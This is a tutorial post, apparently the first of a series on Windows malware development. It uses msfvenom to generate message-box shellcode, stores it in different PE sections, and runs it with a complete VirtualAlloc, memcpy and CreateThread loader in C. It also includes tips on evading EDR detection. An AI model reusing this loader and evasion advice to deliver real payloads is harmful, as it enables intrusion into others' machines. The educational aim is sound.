Malware Development: Crafting Digital Chaos 0x1: Simple Payload Execution
Note: The information I will be sharing is for pure learning purpose, DO NOT USE IT IN ANY ILLEGAL ACTIONS, let us pause and consider the profound impact we can have by channeling our expertise towards POSITIVE ENDS.
Payload generation
What is a payload?
A payload is some kind of malicious code or instructions that we want to execute, most of Malware authors design their payload that’ll achieve thier ultimate goal (gaining access, encrypting some data, exfiltration, etc.) and then obfuscate it in a way that makes it less or undetectable by the EDRs or AntiViruses, so the first step of every Malware Development process is to craft your payload.
Shellcode and MSVENOM
A very popular tool to craft Windows payloads or (Shellcode) is msvenom, we can generate an example payload that will just run a messagebox:
msfvenom -a x64 --platform windows -p windows/messagebox TEXT="CRAFTING DIGITAL CHAOS" -f c
unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
This payload or shellcode (whatever you call it) is a set of instructions and if executed will be calling a messagebox with the message we specified to msvenom, now we have our bullet, and we need to start on the GUN that’ll hold and deliver this bullet!
Storing payload
As we know, every PE file has sections, each sections hold a specific type of data, we can control where will our payload be located, next I will explain how we can place the payload in different sections and what is the benifit of each way.
.text section
Placing the payload inside the text section means that it is in an executable region by default, as .text section holds the code of the PE file, so your payload will be eventually a part of the code itself, however that section should not by default be writeable, only executable .text section is normal, Modifying the payload by any how during execution will make the section writeable and hence throwing an alert which is something we don’t want.
example of normal .text section’s permission:
Code:
#include <iostream>
#include <windows.h>
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char buf[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
int main() {
printf("[i] Address of buf is %p", buf);
return 1;
}
We start by specifying to the compiler that the following code should be placed inside .text section by using “#pragma section(“.text”)” then appending our payload in the space that’ll be allocated inside .text section, here declspec is used to change some attributes of our variable buf.
To validate this will be placed inside ,text section we can make a breakpoint on the return statement in main function, then we can take the address of the buf variable and check it in memory:
To confirm that this address is indeed inside .text section we can do it in a simple way:
first before the return of main function add:
getchar();
We are adding this statement so that the application is waiting for our input and doesn’t exit immediately, next run the application and go to x64dbg and attach it to be debugged.
Take the address the program has outputted and go to memory map on x64dbg.
The payload is at 00007FF649B417B8 and this is indeed an address within the adress space of .text section.
.data section
The .data section mainly contains the initialize variables whether it is global or local, and it has both write and read permissions, but it is not executable by default.
We can use the following code to place our payload inside .data variable:
#include <iostream>
#include <windows.h>
unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
int main() {
printf("[i] Address of buf is %p", buf);
getchar();
return 1;
}
And check the same way we did before:
.rdata section
This section stands for “read-only data”, and as you can tell from the name, This section only has read permissions, and the only difference we add to the code above in order to store the buf variable in .rdata section is to make it a constant or static variable, this happens when you add const
to the declaration.
.rsrc section
I prefer to write a different post on this one :)
Payload Execution
Here comes the fun part! in order to be able to execute our payload, we need to follow this process:
- Allocate memory
- copy our payload to that allocated space
- change its permissions to executable permissions (if not)
- Launch the payload
Allocating memory
We will be using VirtualAlloc API to do this, based on MSDN documentation, this is VirtualAlloc’s syntax:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
If the function succeeds, the return value is the base address of the allocated region of pages.
DWORD dwSizeofBuf = sizeof(buf);
PVOID pAddress = VirtualAlloc(NULL, dwSizeofBuf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pAddress == NULL){
printf("VirtualAlloc failed with error %x", GetLastError());
};
First we calculate the size of the payload or buf variable, then we allocate a memory with that size as a second parameter, and the last parameter is PAGE_EXECUTE_READWRITE that gives the allocated region the permissions of READ and WRITE and EXECUTE.
This is just a basic example of how to execute a shellcode but in real world engagements that’s a stupid thing to do, allocating a memory directly with PAGE_EXECUTE_READWRITE permissions is a big big red flag.
Instead, we can allocate with PAGE_READWRITE permissions then using VirtualProtect to change the protection prior to execution.
Anyway now we have our allocated region ready, next we need to copy our payload inside that region.
Copying the shellcode
memcpy(pAddress, buf, dwSizeofBuf);
We simply used memcpy function with the Dest as first parameter then Src then the size of Src.
Executing the payload
The last step is executing our shellcode after we have copied it to an executable region, we can use CreateThread API call:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
A Thread refers to a sequence of instructions that can be executed independently of other sequences of instructions within the same program. Threads are the smallest unit of execution that can be scheduled by an operating system’s scheduler.
For now we are not interested in any parameter other than the lpStartAddress because it is the address of our shellcode.
if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL) == NULL) {
printf("CreateThread failed with error %x", GetLastError());
}
GetLastError() is used for pure debugging purposes, it returns the error code if any error happened, we can then grep the error code and search it on MSDN to specifically know what issue are we facing.
The complete code:
#include <iostream>
#include <windows.h>
const unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
int main() {
DWORD dwSizeofBuf = sizeof(buf);
PVOID pAddress = VirtualAlloc(NULL, dwSizeofBuf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pAddress == NULL){
printf("VirtualAlloc failed with error %x", GetLastError());
};
memcpy(pAddress, buf, dwSizeofBuf);
if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL) == NULL) {
printf("CreateThread failed with error %x", GetLastError());
}
return 1;
}
Tracing the execution
You might face some issue when you first run this, the messagebox migh not execute, but to validate if your thread gets triggered or not we can debug it using x64dbg and trace the execution.
Since we are creating a thread, We can easily trigger a breakpoint on CreateThread API call and then navigate to our shellcode’s address and also put a breakpoint on one of its instructions, this way we can confirm our shellcode is being executed.
First load the binary and break on CreatThread:
After breaking on the call we check its third parameter, which will be lpStartAddress the address of our shellcode, follow this address in disassembler and put a breakpoint anywhere:
Run and we can see that our payload is being executed!